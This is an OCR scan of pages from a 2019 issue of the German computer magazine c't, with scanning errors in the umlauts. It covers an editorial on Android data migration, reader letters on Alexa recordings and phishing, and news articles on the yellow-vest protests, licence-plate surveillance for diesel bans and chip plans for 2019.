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Freund, der Umzugshelfer

Meine Kollegen haben viel geflucht beim Recher-
chieren fir den Schwerpunkt "Smartphone-Wechsel"
(S. 78). Auch nach zehn Jahren bleiben Daten-
umzug und -Backup neben fehlenden Updates das
groBte Problem von Android. Neidisch geht der
Blick zum iPhone.

Man darf Google deshalb gerne eine Mitschuld
geben, wenn einzigartige Urlaubsfotos, tapfer
erkémpfte Spielstdnde und emotional wertvolle
SMS-Historien fir immer verloren gehen. Noch
schlimmer finde ich aber, dass die meisten
Android-Nutzer aufgrund von Googles Unvermdgen
einen Umzugshelfer bendtigen, wenn unterm
Weihnachtsbaum ein neues Smartphone lag.

In meiner Familie und meinem Freundeskreis bin
es meist ich, der gefragt wird. Kein Problem,
ich zeig dir, wie es geht. Die SMS bekommst du
mit Tool x aufs neue Handy, die Chatverlaufe
dagegen per Backup-Funktion in der Chat-App.
Android-Einstellungen und App-Daten sind leider
ein bisschen wie Schrdédingers Katze: Ob sie
wirklich in der Umzugskiste gesteckt haben,
erfahrst du erst, wenn du dich auf dem neuen
Handy einloggst.

Die Fotos am besten auf eine SD-Karte. Ach,
dein Smartphone kann das nicht? Dann mach
wenigstens vor dem Umzug ein Backup - einfach
Android rooten, ein Image erstellen und
Spéatestens an der Stelle merke ich es selbst
und sage: o.k., ich mach das fir dich.

Ich bin ein sehr gewissenhafter Umzugshelfer
und zwinge Geschwister, Eltern und Freunde, mir
beim Umzug Uber die Schulter zu schauen. Und
ich sage vorher: Uberleg dir gut, welche Daten
auf dem Smartphone liegen und ob es wirklich
o.k. ist, wenn die aus Versehen auch nur kurz
von mir gesehen werden. Da heiffit es meist nach
einem kurzen Zoégern: Klar, leg los. Und dann
der schockierte Blick, wenn auf einmal Priigel-
videos aus dem Schulfreunde-WhatsApp-Chat auf
der SD-Karte auftauchen. Wenn die ersten Zeilen
von SMS-Verlaufen mit der besten Freundin
durchlaufen - oder Fotos, die eindeutig zu viel
Haut zeigen. Alle drei Beispiele sind mir als
Umzugshelfer passiert, obwohl ich alles dafir
getan habe, méglichst nichts davon zu sehen.

Nicht jeder Umzugshelfer ist so vertrauens-
wirdig. Und das stért mich am Umzugschaos
am meisten: Es verschafft eiferslichtigen
Ehepartnern, neugierigen Nerds und
misstrauischen Eltern eine willkommene
Gelegenheit, auf fremden Handys herum-
zuschniffeln.

(Al Beccat_

Achim Barczok
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Wie schlimm ist die Datenpanne
bei Amazon wirklich? Die Alexa-
Enthillung in c't hat viel Diskussion
verursacht.

Wanzen auch auf dem
Smartphone
Editorial: Die Wohnung entwanzen, c't 1/2019, S. 3

Vergleichbares wiirde ich von den Herstel-
lern der Smartphone-Betriebssyteme er-
warten. Warum sonst sollte der zugeho-
rige Sprachassistent quasi unentgeltlich
mitgeliefert werden?

Schwarzwald Ohi il

Failure by Design

Amazon gibt intime Sprachdateien preis,

c't 1/2019, S. 16

Die eigentliche Frage aber: Wozu werden
Sprachmitschnitte iiberhaupt gespeichert?

Das ist kein Datenleck, sondern ein
klassisches Failure by Design. Ob sich die
Alexa-Deppenbenutzer iiberhaupt im Kla-
ren sind, was sie sich da ins Wohnzimmer
setzen und dass ihre Gespriche aufge-
zeichnet werden?

klawischnigg Il

Locker bleiben

Wer sich die Teile ins Haus holt, weifd ent-
weder, dass alles nach dem Codewort auf-
gezeichnet und gespeichert wird oder ist
eh zu blod fiir diese Welt! Im Gegensatz
zur generellen Videotliberwachung und
Speicherung aller Kfz-Kennzeichen zur
Uberwachung der Dieselfahrverbote kann
sich hier jeder schiitzen, indem er die
Dienste nicht nutzt. Wo ist euer Problem?

10

Ich habe sehr griindlich abgewogen und
habe in jedem Zimmer eine Version im
Einsatz. Sehr praktisch.

Und wer sich mit der Materie etwas
beschiftigt, weifd auch, dass man in sei-
nem Konto bei Amazon allerhand Dinge
einsehen und 16schen kann, die die Echos
so aufgezeichnet und gespeichert haben.
Somit ist hier in der Tat ein vollkommener
Ochse am Werk gewesen und hat falsche
Daten zusammengestellt. Das ist der
eigentliche Skandal!

ElmosWelt Ijll

Praxis vs. Theorie

IBM-Forscher beweisen einen speziellen Vorteil der
Quantencomputer gegeniiber klassischen Rech-

nern, c't 26/2018, S. 32

Beweis? Dieser ,,Beweis” bringt real noch
nicht viel, solange man keinen Quanten-
computer hat. Gezeigt wurde nur, dass ein
Quantencomputer dieses Problem besser
als ein konventioneller Computer 16sen
konnte. Bis ein Quantencomputer wirklich
irgendwas schneller kann als ein her-
kommlicher Computer, miissen wir mog-
licherweise noch lange warten.

xfan il

Aufmerksamkeit und
richtige Software

Wie Cyber-Kriminelle von staatlichen Hackern
lernen - und warum Sie das interessieren sollte,

c't 1/2019, S. 70

Mit einem Mail-Programm, das Absen-
der-Adresse, Links und Dateinamen
immer in Klartext anzeigt, ist man schon
viel besser in der Lage, diese Falschungen
zu erkennen.

Ich bekomme inzwischen regelmafiig
Mails angeblich von Kollegen, sogar von
meinem Chef. Die schicken mir aber
keine Dateien im veralteten DOC-Format,
und Links auf Dateien zeigen nicht auf
Filesharer, sondern auf unsere eigenen
Server. Thre Mail-Adresse ist eine
Firmenadresse unserer Firma und sie
schicken mir Mails an meine Firmen-
adresse, nicht an eine meiner privaten
Adressen.

Mit ein wenig Ubung kann man all
diese Kriterien in 2 Sekunden abchecken.
Und wenn wirklich noch Zweifel tibrig

bleiben, gentigt eine kurze Riickfrage
(nicht Giber Reply der fraglichen Mail).

Es gibt aber auch blode Zufille, wo
man eine Nachricht erwartet und dann
kommt genau die passende Phishing-
Mail. Da stellen sich auch mir die Nacken-
haare auf. Die oben genannten Kriterien
funktionieren zwar weiterhin, aber man
wird leicht nachldssig, wenn man eine
Nachricht erwartet.

J. Reuther Il

Erganzungen &
Berichtigungen

Drohne versicherungspflichtig
Weltraumkampf im Wohnzimmer, c’t 26/2018, S. 45

Fiir die Star-Wars-Drohne ist keine Kenn-
zeichnung notig, aber anders als im Text
angegeben ist sie wie alle Drohnen in
Deutschland versicherungspflichtig.

Spectre und Meltdown

Der optimale PC, Kaufberatung: aktuelle Prozesso-
ren, Arbeitsspeicher und SSDs, c't 26/2018, S. 72

Anders als angegeben hat AMD in die
Ryzen-2000-Prozessoren noch keine
Hardware-Schutzmafinahmen gegen die
Sicherheitsliicken Spectre und Meltdown
eingebaut. Sie werden aber mit Micro-
code-Updates ausgeliefert, die bei dlteren
Ryzen-Typen das BIOS nachriistet.

Wir freuen uns tiber Post

M redaktion@ct.de

- c’'t Forum

El c't magazin

B @ctmagazin

Ausgewahlte Zuschriften drucken
wir ab. Bei Bedarf kirzen wir sinn-
wahrend.

Antworten sind kursiv gesetzt.
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Brandbeschleuniger

Die Rolle der sozialen Medien bei den
Protesten der Gelbwesten in Frankreich

Das kurze Facebook-Video einer bis
dahin unpolitischen Therapeutin
gilt als Startschuss der seit Wochen
in Frankreich tobenden Proteste.
Haben soziale Netzwerke
tatsdchlich die Macht, eine
Massenbewegung zu initiieren?

Von Bernard Schmid

S eit in Frankreich die Proteste der
Gelbwesten eskalieren, fragen sich
Beobachter, welche Rolle speziell Face-
book bei der Mobilisierung spielt. Manche
US-Korrespondenten etwa von BuzzFeed
News haben den neuen Algorithmus im
Verdacht, der auf Facebook die Posts von
Freunden und aus der Region bevorzugt
und Meldungen tiberregionaler Medien
hinten anstellt. Deren gesellschaftliches
Korrektiv wiirde dadurch benachteiligt
und die Verbreitung ungepriifter Fake
News beschleunigt, so die Schlussfolge-
rung von Ryan Broderick und Jules Dar-

14

manin. Die beiden Reporter zéhlen haar-
klein auf) welche Postings der Gelbwesten
wie viele Likes einheimsten und wie eini-
ge wenige Videos in kurzer Zeit einen Fla-
chenbrand auslosten [1].

Doch kann tatsdchlich ein Algorith-
mus dafiir verantwortlich sein, dass zig
Tausende von Franzosen auf die Barri-
kaden gehen? Wire Paris ein friedliches
Pflaster, wenn die Regierung wie ein au-
toritdres Regime Facebook abschalten
und analog zu Agypten den Verkauf gelber
Westen verbieten wiirde?

Initialziindung

Um zu verstehen, welche Rolle die sozia-
len Netzwerke bei der Mobilisierung spie-
len, muss man in Frankreich zunéchst die
politische Situation analysieren. Bislang
waren es dort die Gewerkschaften, die
soziale Bewegungen koordinierten und
ihnen eine Struktur verliechen. Doch im
Herbst 2018 lief es anders. Denn dieses
Mal blieben alle Gewerkschaften zunachst
misstrauisch gegeniiber dem sich heraus-
kristallisierenden Unmut, der da aufkam.
Stattdessen stellten bis dahin unbekannte

Personen Videobotschaften ins Internet,
die zum Teil millionenfach abgerufen
wurden: Rund sechs Millionen Mal ange-
Kklickt wurde etwa ein Kurzvideo der The-
rapeutin Jacline Moraud aus der Bretagne.
Sie ereiferte sich tiber die geplante Sprit-
verteuerung und hatte bis dahin kein be-
kanntes politisches Vorleben. 3,4 Millio-
nen Mal wurde im Oktober ein weiteres
Video von einem gewissen Frank Buhler
angeschaut. Er war jedoch kein unbe-
schriebenes Blatt, sondern Regional-
beauftragter der rechtsnationalistischen
Kleinpartei Debout la France (DLF). Zu-
vor war er mehrere Jahre lang beim rechts-
extremen Front National (FN, heute Ras-
semblement National) aktiv. Dort wurde
er jedoch ausgeschlossen, nachdem er
iiber Facebook rassistische Witze verbrei-
tet hatte.

Den Anlass bot eine inzwischen (zu-
mindest fiir 2019) stornierte Erhéhung
der Spritsteuer. Diesel sollte zundchst um
sechs und Benzin um drei Cent pro Liter
teurer werden; bis 2023 waren weitere
schrittweise Erhohungen geplant. Von der
Regierung wurde dies offiziell mit dem
»okologischen Umbau® und der Forde-
rung der Elektromobilitit begriindet. Von
den erhoftten vier Milliarden Euro zusitz-
licher Steuereinnahmen wurden jedoch
weniger als eine Milliarde fiir 6kologische
Maffnahmen eingeplant. Der Rest sollte
schlicht den Staatshaushalt sanieren.

Dort klafft eine Liicke, weil die fran-
zosische Regierung unter Emmanuel Ma-
cron seit Mitte 2017 systematisch einkom-
mensprogressive Steuern sowie Sozialab-
gaben in Unternehmen abbaut. Die Aus-

c't 2019, Heft 2
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fille lassen sich bislang aber nicht durch
Kopf-und Verbrauchssteuern kompensie-
ren, die unabhéngig vom Einkommen von
jedem Biirger erhoben werden.

Von zwei Seiten

Der Protest gegen diese neoliberale Politik
der Umverteilung von unten nach oben
keimte in zwei unterschiedlichen Milieus:
Einerseits meldeten sich Mittelstandler zu
Wort, die in der Tradition der ,,Steuer-
rebellen” unter Pierre Poujade stehen.
Poujade erlebte seinen Hohenflug 1956,
als ein gewisser Jean-Marie Le Pen fiir
seine Bewegung in die Nationalversamm-
lung einzog. Auf der anderen Seite stehen
Biirger, die auf hohere Einkommen und
mehr Steuergerechtigkeit beharren, statt
Besteuerung an sich generell infrage zu
stellen.

Dieser Doppelcharakter der Gelbwes-
ten (gilets jaunes) findet sich auch in den
Umfrageergebnissen wieder: Ende No-
vember gaben 68 Prozent der Wihler-
schaft des rechtsextremen Rassemble-
ment National (RN) sowie 45 Prozent der
Wihler des Linkspopulisten Jean-Luc
Mélenchon an, die gelben Westen aktiv zu
unterstitzen.

Das politische Crossover-Phanomen
war denn auch der Grund fiir die erheb-
liche Skepsis der franzosischen Gewerk-
schaften. Doch im Laufe der Wochen
anderten sie ihre Einstellung. An der
Basis schlossen sich zunéchst zahlreiche
gewerkschaftliche Kreisverbinde den
Gelbwesten an. Linke Akteure versuch-
ten, die Bewegung in Richtung Sozialpro-
test und Steuergerechtigkeit zu orientie-
ren und Okologische Belange zu bertick-
sichtigen.

Flashmob

An gewalttitigen Auseinandersetzungen
mit der Polizei und den Ausschreitungen
Anfang Dezember in Paris beteiligten sich
sowohl militante Faschisten von aufder-
parlamentarischen Gruppen wie der Bas-
tion Social als auch anarchistische Stro-
mungen. Beide Gruppen von links und
rechts arbeiteten keineswegs zusammen,
sondern wurden parallel, ohne Abspra-
chen oder Koordinationen aktiv. Hinzu
kamen Gelegenheitsrandalierer und Pliin-
derer: Unter den Festgenommenen waren
meist sozial prekar lebende junge Manner
aus kleinen Provinzstidten. Sie nahmen
oft zum ersten Malim Leben an einer De-
monstration teil und liefen sich vom Ak-
tionsfieber anstecken.
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Der Anteil der Unorganisierten nahm
im Laufe der ersten Wochen jedoch ab.
Gleichzeitig wuchs der Einfluss von ge-
werkschaftlich und politisch organisierten
Aktivisten. Die sozialen Medien wie Face-
book dienten ihnen dazu, aufSerhalb der
bestehenden Organisationsstrukturen von
Parteien und Gewerkschaften zu weiteren
Protesten aufzurufen. Klassische Gewerk-
schaften oder Parteien hitten hingegen
zunachst einmal intern beraten, ob und
wie sie weitermachen.

Per Facebook konnten die selbst-
ernannten Wortflihrer der Gelbwesten
von Wochenende zu Wochenende aufderst
schnell zur nichsten Aktion aufrufen.
Zum Aufruf brauchte es keine Debatte im
Plenum, sondern schlicht einen Maus-
Kklick. Mitte November bis Mitte Dezem-
ber meldeten sich wie bei einem Flash-
mob innerhalb von 24 Stunden ,,Teilneh-
mer" im finfstelligen und ,,interessierte
Personen” im sechsstelligen Bereich.

Wer sich als ,,interessiert anmeldete,
erhielt mehrere Dutzend E-Mails pro Tag,
als deren Absender oft ,,Eric Drouet” fir-
mierte. Drouet ist Lkw-Fahrer, dessen bis-
herige Veroffentlichungen auf Facebook
einen politisch rechtslastigen Background
vermuten lassen.

Heterogene Wortfiihrer
Doch wihrend andere politisch konsisten-
te Bewegungen mit zwei bis drei Vertre-
tern auskommen, besteht der gelbe Spre-
cherausschuss aus acht Personen. Die Le-
gitimit des Ausschusses ist innerhalb der
Gelbwestenbewegung allerdings umstrit-
ten, vor allem in West- und Stidfrankreich.
Mehrere Medien wie die Zeitung Le
Parisien untersuchten das Vorleben der
acht Vertreter auf deren Facebook-Seiten.
Sie schlossen aufgrund der Posts und Likes
auf die politische Gesinnung. Demnach
soll die Mehrheit der Vertreter politisch
rechts orientiert sein, nur bei zweien fan-
den die Zeitungen einen eher linken res-
pektive gewerkschaftlichen Hintergrund.
Ende November veroffentlichte der
achtkopfige Sprecherausschuss einen For-
derungskatalog mit 42 Punkten. Dazu hat-
ten sich einige Aktivisten aus den Anfin-
gen im Raum Paris versammelt und Tau-
sende von Sympathisanten per Facebook
konsultiert. Der Wunschkatalog umfasst
sowohl unternehmerfreundliche Senkun-
gen von Steuern und Belastungen als auch
Forderungen nach hoheren Lohnen und
Renten - das lésst sich kaum unter einen
Hut bringen.

Gelbwesten-Proteste | News

Konsens innerhalb der Bewegung
scheint aufler der Ablehnung hoherer
Spritpreise vor allem der Ausbau der 6f-
fentlichen Verkehrsmittel auf3erhalb der
Ballungszentren zu sein. Die iibrigen In-
teressen und Vorstellungen sind hingegen
zu heterogen, als dass sich daraus eine ge-
meinsame politische Plattform mit einem
gesamtgesellschaftlichen Programm ent-
wickeln konnte. Deswegen wird man
manche der Gelbwesten in einem Jahr
wohl auf verschiedenen Wahllisten, in un-
terschiedlichen Gewerkschaften und Ini-
tiativen wiederfinden. Facebook & Co.
konnen politischen Unmut einer Bevolke-
rung zwar explosionsartig verstarken, fiir
langfristige politische Arbeit braucht es
aber weiterhin klassische Organisations-
strukturen. (hag@ct.de) c&
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[1] Ryan Broderick, Jules Darmian: The , Yellow
Vest” Riots in France are what happens when
Facebook gets involved with local news, vom
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facebook

Startseite Bewertungen Info Videos

e Blocage National Gilets Jaunes
12 Min. + 6

https://www.facebook.com/events/
2172551112987123/

Facebook-Gruppen wie diese
mobilisieren Woche fiir Woche
Tausende Franzosen auf die StraBe.
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News | Kennzeichenerkennung fiir Fahrverbote

Stau, schau, wem!

Videoiliberwachung soll
Dieselfahrverbote durchsetzen

Fahrverbote sind nur dann wirk-
sam, wenn man sie auch durch-
setzt. Laut eines Gesetzentwurfs
konnten die Dieselfahrverbote
nun als Anlass fiir eine auto-
matisierte Nummernschild-
erkennung in Stéddten dienen,
obwohl die Technik datenschutz-
rechtlich umstritten ist.

Von Christiane Schulzki-Haddouti

emif$ eines Entwurfs flir die neunte

Anderung des Straflenverkehrsgeset-
zes sollen Fahrzeug und Fahrer zur Durch-
setzung der von den Gerichten ausgespro-
chenen Fahrverbote mit Kameras erfasst
werden. Die Fahrzeugkennzeichen sollen
dann mit den Daten im zentralen Fahr-
zeugregister abgeglichen werden. Bei ei-
nem Treffer fliefSen die Daten danach an
die zustandige Verwaltungsbehorde, die fiir
Ordnungswidrigkeiten zustiandig ist. Alle
in diesem Prozess erfassten Daten miissen
im Regelfall ,unverziiglich®, spitestens
aber nach sechs Monaten geloscht werden.

Der urspriingliche Gesetzesentwurf
hatte keinerlei datenschutzrechtliche
Vorgaben enthalten. Ein Sprecher des
Bundesdatenschutzbeauftragten erklirte,
dass technische Alternativen zwar dis-
kutiert wurden, doch insbesondere fiir
eine ,faire und effiziente” Durchsetzung
des Fahrverbots an einzelnen Strafden
habe man keine Alternative gesehen. Die
»Alternativlosigkeit” der Kameralosung
ist nur vor ihrem politischen Hintergrund
zu verstehen: Die Unionsparteien haben
sich in den vergangenen Jahren darauf
festgelegt, dass die Einfithrung einer
»Blauen Plakette® nicht gewlinscht sei.
Hauptargument: Man wolle keine Diesel-
fahrverbote in den Innenstidten.

Der Vorschlag zur Nummernschild-
erkennung liegt nun als Gesetzesentwurf
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im Bundestag. Prominente Vertreter der
Opposition von Griinen, Linke und FDP
lehnen ihn als Totaliiberwachung ab. In-
nenpolitiker der Unionsparteien hingegen
sprechen sich schon seit Lingerem fiir ein
flaichendeckendes Kfz-Schilderscanning
aus, um die Daten ,,grundsitzlich fiir Er-
mittlungs- und Fahndungszwecke nutzen
zu diirfen. Das entspricht auch der Posi-
tion der Deutschen Polizeigewerkschaft
sowie des Bundesverbands fiir Verkehrs-
sicherheitstechnik, die fiir den Aufbau
einer ,intelligenten Videoiberwachung®
plddieren, die man mit einer Vignette oder
einer Nummernschilderfassung verbin-
den konne.

Das mit einer solchen Technikkombi-
nation mogliche Kfz-Schilderscanning
setzt das Bundesamt fiir Giiterverkehr
bereits zur Kontrolle der Lkw-Maut auf
Autobahnen und Bundesstrafien ein. Es
erfasst zunachst jedes Fahrzeug und jeden
Fahrer, um dann die Treffer auszusieben.
Die ,elektronische Vignette®, die auch flir
Pkws die Maut auf Autobahnen ab 2019
durchsetzen soll, basiert ebenfalls auf der
automatisierten Erfassung der Kenn-
zeichen.

Kiirzlich wurde bekannt, dass das
Verfahren der Kennzeichenerkennung

alles andere als fehlerfrei ist: Eine Anfra-
ge der FDP-Fraktion im baden-wiirttem-
bergischen Landtag ergab, dass bel
einem Testlauf fiir die automatisierte
Kennzeichenerkennung nicht einmal 10
Prozent der Kennzeichen richtig erfasst
wurden.

Alternativen

Bei der als Alternative diskutierten ,,Blau-
en Plakette” werden die Fahrzeuge nur
einmalig erfasst und mit der Plakette ge-
kennzeichnet, wobei die Kontrolle dann
etwa bei parkenden Fahrzeugen erfolgt.
Wihrend die griinen Plaketten Feinstaub-
belastungen senken sollen, beziehen sich
die blauen Plaketten zusétzlich auf den
Ausstof3 von Stickoxiden. Die nicht-elek-
tronische Plakette gibt an, ob ein Diesel-
fahrzeug die geforderte Abgasnorm er-
fiillt. Es darf dann in Umweltzonen ein-
fahren.

Stadte wie Berlin, Hannover oder
Leipzig haben schon heute grofle Ver-
kehrsverbotszonen eingerichtet, in denen
sich nur Fahrzeuge mit einer griinen Pla-
kette oder einer Ausnahmegenehmigung
aufhalten diirfen. Dortmund setzt sogar
ein partielles Fahrverbot auf einer Strafde
mit einer Lange von nur 300 Metern mit
grimen und gelben Plaketten durch.
Frankfurt nutzt das Plakettensystem fiir
eine Fahrbegrenzung auf dem Autobahn-
ring.

Allgemein gelten Stichkontrollen
durch die Polizei bei der Durchsetzung
von Durchfahrtbeschrinkungen fiir ein-
zelne Strafden als besonders personal-
intensiv und wenig effizient. Eine aktuelle
Studie gibt dennoch Anlass zur Hoffhung:
In Leipzig konnte seit der Einrichtung der
Umweltzone die Feinstaubbelastung einer

Maut-Dienst-
leister Toll
Collect setzt
bereits 600
Kamerasaulen
Zur automa-
tischen Erken-
nung von
Lkw-Kenn-
zeichen

an Bundes-
straBen ein.
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Kennzeichenerkennung fiir Fahrverbote | News

Die Deutsche Umwelthilfe und das
Bundesumweltministerium favorisieren
die Einfiihrung einer blauen Plakette,
die auBer der Feinstaub- auch die NOx-
Emission erfasst.

Untersuchung des Sachsischen Umwelt-
landesamts und des Leibniz-Instituts fiir
Troposphirenforschung zufolge immer-
hin um mehr als die Hilfte gesenkt wer-
den. Vielleicht misste die Kontrolle der
Dieselfahrverbotszonen also gar nicht fla-
chendeckend erfolgen, um eine Luftver-
besserung zu bewirken.

Eine weitere Alternative zum Kfz-
Schilderscanning stellen RFID-Funk-
sender dar, wie sie bei
vielen Mautsystemen
weltweit zum Einsatz
kommen, etwa beim
E-ZPass in den USA
bereits seit 1987. Da-
beihandelt es sich um
genormte Transpon-
der, die hinter der
Windschutzscheibe
oder an der Num-
mernschildbefesti-
gung montiert wer-
den.

In den RFID-
Chips sind alle rele-
vanten Fahrzeugda-
ten hinterlegt. Das
mit den Transpon-
dern verkniipfte Guthaben kann nach
dem Durchfahren von Kontrollstationen
abgezogen werden. Preisnachlisse fiir be-
stimmte Personengruppen oder Fahrzei-
ten sind moglich, sodass sich das System
prinzipiell auch zur Regelung des Ver-
kehrsflusses eignet - oder zur Durchset-
zung von Fahrverboten.

Erkennt das System die Durchfahrt
eines Autos ohne entsprechende Durch-
fahrtsgenehmigung, wiirden seine Daten
automatisch an Kontrollstationen erfasst
und an die Verwaltung weitergeleitet. Ein
Abfilmen jedes Einzelfahrzeugs ist fiir die
Erkennung nicht nétig. Nur, wenn kein

bleibt.«

(Die Griinen)
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»Der Vorschlag
einer Nummern-
schilderkennung
zur Durchsetzung
von Fahrverboten
ist so gaga, dass er
auch nach leichten
Korrekturen falsch

Konstantin von Notz, MdB

RFID-Chip erkannt wird, misste eine
Videoaufzeichnung ins Spiel kommen.

Datenschutz

Der Datenschutzgrundverordnung zufol-
ge muss fiir einen zu erzielenden Zweck
jeweils die Losung gewihlt werden, die
am wenigsten in die Grundrechte der be-
troffenen Biirger eingreift. Eine Losung,
die die technische Infrastruktur fiir weit-
reichende Uberwachungsmafinahmen
bietet, entsprache demnach nicht der ge-
setzlichen Vorgabe des ,,Datenschutzes
durch Technikgestaltung®. Der Jurist und
Datenschutzexperte Malte Engeler betont
deshalb, dass das vorgesehene Verfahren
nur dann verhéltnismaf3ig sei, wenn es tat-
sachlich keine milderen Mittel der Durch-

blauen Plakette eindeutig gegeben.

Fiir den griinen Bundestagsabgeord-
neten Konstantin von Notz st es ,,in hochs-
tem Maf3e befremdlich, dass man plétzlich
in der Bringschuld ist, grundrechtsscho-
nendere Alternativen zum freiheitsrecht-
negierenden Vorstof$ von Verkehrsminister
Scheuer machen zu
miissen.” Der jetzige
Vorschlag zur Einfiih-
rung einer Nummern-
schilderkennung sei
»S0 gaga, dass er auch
nach leichten Korrek-
turen einfach falsch
bleibe“. Die strafli-
chen Versiumnisse
der Bundesregierung
beim Umgang mit
der Dieselkrise seien
»nicht entschuldbar*
und konnten ,nicht
durch einen verfas-
sungsrechtlich extrem
schwierigen Ideen-
wettbewerb aus der
Welt geschaffen werden®. Auch der Deut-
sche Stidtetag steht dem Plan kritisch ge-
geniiber, ,,Erfassungssdulen und Kameras
im Straflenraum aufzustellen®, erklarte
sein Hauptgeschaftsfithrer Helmut Dedy
gegeniiber der Stiddeutschen Zeitung.

In der letzten Sitzung vor der Weih-
nachtspause lehnte der Bundesrat den
Entwurfin aller Deutlichkeit als ,,zu weit-
reichend” und ,,unverhéltnismaRig® ab.
Die Loschfrist von sechs Monaten iiber-
treffe zudem die Verjahrungsfrist fiir Ord-
nungswidrigkeiten von drei Monaten.
Jetzt muss sich der Bundestag mit dem
Entwurf befassen. (sha@ct.de) c&

17

KOMPLETT DIGITALISIERT

Fiir ALLE betrieblichen Vorgange:

Voll integrierte CRM/ERP-LOsung,
revisionssicheres DMS,
automatisiert mit ZUGFeRD,
unterstiitzt die Erfiillung
der DSGVO.

Flr Beratung und Dienstleistung,
Handel, Service, Produktion.

TOPIX Business Software AG
Rudolf-Diesel-Strae 14, D-85521 Ottobrunn
%, +49 89 608757-0 <7 info@topix.de

yww.topix.de




News | Prozessor-Ausblick

Bit-Rauschen

Ausblick 2019 und Luftnummern 2018

Neues Jahr, neues Gliick: Manche
Chip-Pldne fiir 2018 scheiterten,
trotzdem ist fiir 2019 viel Neues
geplant. Die ersten Ankiindigungen
prasseln in diesen Tagen von der
CES in Las Vegas auf uns ein.

Von Christof Windeck

D ie Consumer Electronics Show (CES)
in Las Vegas lautet das IT-Jahr 2019
ein. Mancher hofft, dass AMD schon
Ryzen-Neuheiten vom Stapel ldsst, aber
das ist wenig wahrscheinlich. Die PC-Her-
steller scheinen nicht gerade auf eine neue
Ryzen-Generation zu lauern: Erst kurz vor
Weihnachten kiindigte HP einen ersten
Rechner mit dem 45-Watt-Mobilprozessor
Ryzen 7 2600H auf, den AMD bereits im
September vorstellte. Von Intel wiren ei-
gentlich billigere Desktop-PC-Prozesso-
ren der neunten Core-i-Generation fallig,
etwa ein Core i5-9400. Da Intel aber
schon deren Vorginger nicht in den ver-
langten Stiickzahlen liefern kann, wire
die Ankiindigung von Neuheiten in
diesem Segment kein gutes Signal. Intel
spricht lieber davon, mit Milliardensum-
men die Fertigungskapazititen auszubau-
en - aber bis das greift, vergehen Monate.

AufIntel-Versprechen kann man sich
sowieso nicht immer verlassen. Der mit
grofdem Tamtam vor einem halben Jahr
fiir Dezember angekiindigte 28-Kerner
Xeon W-3175X ist noch immer nicht zu
haben. Das CPU-Dickschiff war der Star
der Computex-Pressekonferenz vor hun-
derten Journalisten aus aller Welt. Zu-
nichst verschwieg Intel jedoch, dass er
seinen Cinebench-Rekordwert nur durch
massives Ubertakten erreichte, nun ist er
nicht einmal lieferbar. Das grenzt schon
an Fake News; solche Luftnummern kann
sich Intel kiinftig sparen.

Nanometer-Vergleiche

Viel wurde in den vergangenen Monaten
iiber Intels Versagen bei der 10-nm-Tech-
nik geschrieben. Schaut man jedoch
genauer hin, gibt es auch von anderen
Herstellern relativ wenige 10-nm-Chips.
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AMD und Nvidia lassen bisher mit 14-
beziehungsweise 12-nm-Technik produ-
zieren und springen 2019 dann gleich auf
7 nm. 10-nm-Technik kommt vor allem bei
Smartphone-Chips wie Apple All, Qual-
comm Snapdragon 835 und 845 oder Sam-
sung Exynos 8895 und 9810 zum Einsatz.

Apple (A12) und Huawei (Kirin 980)
sind schon bei 7-nm-Chips gelandet, die
TSMC noch mit Laserlicht belichtet -und
offenbar liefern kann. Samsung hingegen
setzt bei 7LPP auf EUV, aber damit finden
sich bisher keine Grof3serienprodukte - ob
das an der EUV-Lithografie liegt?

AMD jedenfalls wollte noch 2018
die Radeon Instinct MI60 fiir Server mit
einer 7-nm-Version von Vega ausliefern.
Gaming-Grafikkarten mit 7-nm-,,Navi“-
GPUs konnten dann etwa als Radeon RX
3080 kommen - aber kaum vor Mai. Hin-
ter den Kulissen scheint es in der AMD-
Grafiksparte zu rumoren, der erst im
Januar 2018 eingestellte Mike Rayfield ist
schon wieder weg. Jetzt ibernimmt sein
Co-Chef David Wang. Intel sucht derweil
schon sechs Monate nach einem Nach-
folger des geschassten Brian Krzanich.

Server-Wachstum

Die diisteren Wolken der Makrodkonomie
- der Handelsstreit zwischen den USA und
China sowie der EU, der schwichelnde
Aktienmarkt - haben die Nachfrage nach
Cloud-Servern bisher nicht geknickt. Hier
steht AMD im Wort, mit den Epycs mitt-
lerweile 5 Prozent Marktanteil erreicht zu

Supercomputer

zu verkaufen: Das
Forschungszentrum
Julich sucht einen
Entsorger fiir

28 Juqueen-Racks
mit knapp 57 Tonnen
Gesamtgewicht.

haben: Wir driicken die Daumen! Da man
von Intels Cascade-Lake-Xeons bisher
weiterhin nur Ankiindigungen las, stehen
die AMD-Chancen gut. Ordentlichen
Schub werden wohl erst Zen-2-Epycs brin-
gen mit 64 Kernen und PCI Express 4.0.

Apropos PCle 4.0: Die Spezifikation
ist seit 2017 drauflen, PCle 3.0 hat mitt-
lerweile acht Jahre auf dem Buckel und ist
seit sechs Jahren praktisch nutzbar (Core
i-3000 ,,Ivy Bridge“ 2012). Fiir SSDs wire
PCle 4.0 durchaus wiinschenswert - und
fiir High-End-Netzwerkkarten in Servern,
etwa flir 100-GBit-Ethernet. Auch AMDs
7-nm-GPUs kommen mit PCle 4.0.

Bei USB 3.1 kommt die Branche eben-
falls recht langsam in die Striimpfe, die
ersten SuperSpeedPlus-Hubs enttiu-
schen. Dabei ist die USB-3.1-Spezifikation
auch schon fiinf Jahre alt, USB 3.0 sogar
schon zehn Jahre. Vielleicht miissen wir
uns darauf gefasst machen, dass es bei sol-
chen Schnittstellen immer langer dauert,
bis aus Theorie Praxis wird. Der Umgang
mit dermafien hochfrequenten Signalen
ist nicht einfach. Vielleicht liegt es aber
auch daran, dass PCle 3.0 und USB 3.0
schlichtweg fiir viele Zwecke ausreichen
- die meisten externen Speichermedien
sind ja noch viel langsamer.

Bei manchen Supercomputern geht es
mit der Ablosung schneller: Das For-
schungszentrum Jiilich verkauft seinen Ju-
queen, der 2012 Platz 5 der Top500-Liste
eroberte. Das FZ Jiilich braucht den Platz
fliir den kommenden Juwels, der weiter
aufgertistet wird. Man sucht einen zertifi-
zierten Entsorger, der die knapp 57 Ton-
nen in Form von 28 Racks in einem
Rutsch abserviert. Fiir Schrauber schlu-
cken die 29.000 PowerPC-Chips doch
etwas zu viel Strom: Kaum jemand hat
einen 1,7-Megawatt-Anschluss daheim.

(ciw@ct.de) €€
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Ki-Modul fiir autonome Fahrzeuge

und Roboter

Fiir Roboter und autonome Fahrzeuge ist
Nvidias KI-Modul Jetson AGX Xavier mit
Volta-GPU und ARM-Kernen gedacht. Es
schopft laut Nvidia aus weniger als 30
